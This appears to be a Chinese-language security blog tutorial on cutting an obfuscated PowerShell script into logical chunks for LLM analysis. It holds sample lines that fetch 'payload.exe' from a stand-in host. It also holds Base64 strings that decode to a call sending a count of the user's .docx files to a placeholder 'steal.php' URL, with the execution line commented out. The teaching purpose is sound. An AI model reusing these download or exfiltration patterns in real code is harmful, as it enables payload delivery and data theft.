[实践] 喂给AI混淆代码而不让它“吐”出来！🥄（分块策略）

7 月 21, 2026

—

cslab

in IT Security

大家好！🕵️‍♂️

在上次的理论课上，我们学习了恶意脚本如何巧妙地隐藏其真面目，以及各种“混淆技术”。（如果不记得了，请复习！📝）

既然理论武装完毕，是时候投入实践了！现在轮到我们把这段复杂的代码交给我们的强大盟友——生成式AI (LLM)，让它来解释。

但是等等！✋

如果我们一次性将数千行长的巨大混淆脚本“复制 + 粘贴”给AI，会发生什么？

🤖 AI: “抱歉，您的输入太长了。（超出令牌限制）”或者

🤖 AI: （忘记了前面部分，只错误地解释了后面部分）“这段代码只是一个字符串变量声明。”

是的，没错。AI一次性能够处理的信息量（上下文窗口/令牌限制）是有限的。如果一次性给它太多内容，它可能会“消化不良”，或者出现“失忆”症状，忘记重要的前后文。

因此，今天的实践非常重要。我们将学习如何将庞大如怪物的混淆代码，切割成AI易于消化的“一口大小（Chunk）”并喂给它的技术。🥄

1. 为什么要分成“块（Chunk）”？🤔

“块”是指一个片段或一个部分。分割代码的原因有两个：

克服令牌限制： 像ChatGPT或Claude这样的模型，在一次对话中输入和输出的字符数是有限制的。长的恶意脚本很容易超出这个限制。
提高准确性（聚焦）： 与其对AI说“解释这1000行”，不如给它一个更窄的范围，比如“分析这50行代码的作用”，这样它会给出更深入、更准确的答案。

2. 核心策略：“不能随便切割！”✂️

这是今天实践的核心。切割代码时，必须考虑“上下文（Context）”和“逻辑单元（Logical Unit）”。

如果只是简单地按照字符数切割，命令可能会在中间被截断，导致AI将其识别为语法错误。

❌ 错误的分块示例（机械式分块）

# 块1的末尾
$malicious_url = "http://hacker.c
# --- 在这里突然中断 ---

# 块2的开始
om/payload.exe"
Invoke-WebRequest -Uri $malici...

👉 如果这样切割，AI会认为块1是“字符串未闭合的错误代码”。块2则会变成以“om/payload.exe”开头的未知代码。

✅ 正确的分块示例（逻辑分块）

# 块1：整个变量声明部分
$part1 = "http://";
$part2 = "hacker.com";
$part3 = "/payload.exe";
# --- 逻辑单元结束 ---

# 块2：整个执行部分
$full_url = $part1 + $part2 + $part3;
Invoke-WebRequest -Uri $full_url ...

👉 应该按照函数单元、循环（循环语句）单元，或者相关的变量声明块单元进行切割。

3. [实践] 分割混淆的PowerShell脚本 🛠️

好了，这里有一段混淆的PowerShell示例代码，它类似于攻击者实际使用的（但安全）。它看起来相当长且复杂。

📝 实践示例代码 (PowerShell)

# --- 巨大混淆脚本开始 ---
<#
 This script uses Base64 and string manipulation to hide its intent.
 Do not run this on a production machine.
#>

$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (假设中间还有50行这样的变量声明) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";

# --- 第一次组合 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 额外去混淆 ---
$final_stage = $stage1 + $v_str_D + $v_padding;

# --- 最终执行（已注释） ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))

步骤 1. 纵观全局 🌳

快速浏览一下代码。

前半部分主要是Base64编码的长字符串变量声明，如$v_str_A、$v_str_B。
后半部分是旨在将这些变量相加（+），添加填充（==），并最终解码和执行（IEX）的结构。

步骤 2. 寻找“剪切”点 📍

我们应该在哪里切割？

第一个点： 将大量的Base64变量声明捆绑成一个块。因为它们在上下文中扮演相同的角色。
第二个点： 将组合变量并准备最终执行的逻辑捆绑成第二个块。

步骤 3. 实际分割（准备复制和粘贴）

📦 [块 1: 数据声明部分]

<# 청크 1 시작: Base64 변수 선언 블록 #>
$v_str_A = "JABuAGUAdwBfAHYAYQByACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7AA==";
$v_str_B = "JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAG0AYQBsAHcAYQByAGUALgBjAG8AbQAvAHMAdABlAGEAbAAuAHAAaABwAD8AZABhAHQAYQA9ACcAOwA=";
$v_str_C = "JABjAG8AbQBtAGEAbgBkACAAPQAgACgAZwBjAGkAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBaAEUAUgBQAFIATwBGAEkATABFACAALQBJAG4AYwBsAHUAZABlACAAKgAuAGQAbwBjAHgAIAAtAFIAZQBjAHUAcgBzAGUAKQAuAEMAbwB1AG5AdAA7AA==";
# ... (中间变量省略) ...
$v_padding = "==";
$v_str_D = "JABuAGUAdwBfAHYAYQByAC4ARABvAHcAbgBsAG8AYWADwAdAByAGkAbgBnACgAJAB1AHIAbAAgACsAIAAkAGMAbwBtAG0AYQBuAGQAKQA7AA";
<# 청크 1 끝 #>

📦 [块 2: 组合与执行逻辑]

<# 청크 2 시작: 결합 및 실행부 #>
# --- 第一次组合 ---
$stage1 = $v_str_A + $v_str_B + $v_str_C;
# --- 额外去混淆 ---
$final_stage = $stage1 + $v_str_D + $v_padding;

# --- 最终执行（已注释） ---
# IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($final_stage)))
<# 청크 2 끝 #>

4. 总结：准备好喂给AI了！🍽️

好了，现在我们已经将庞大的代码整齐地切割成了两个逻辑块。

在下一次实践课上，我们将学习如何实际地将这些准备好的块按顺序输入给AI，并通过保持上下文的对话方式，例如说：“这是第一部分。请解释这些变量是什么。我稍后会给你下一部分。”

请务必记住，今天实践的核心是“切割代码时要小心，不要破坏语法或逻辑”！

那么，下次再见！👋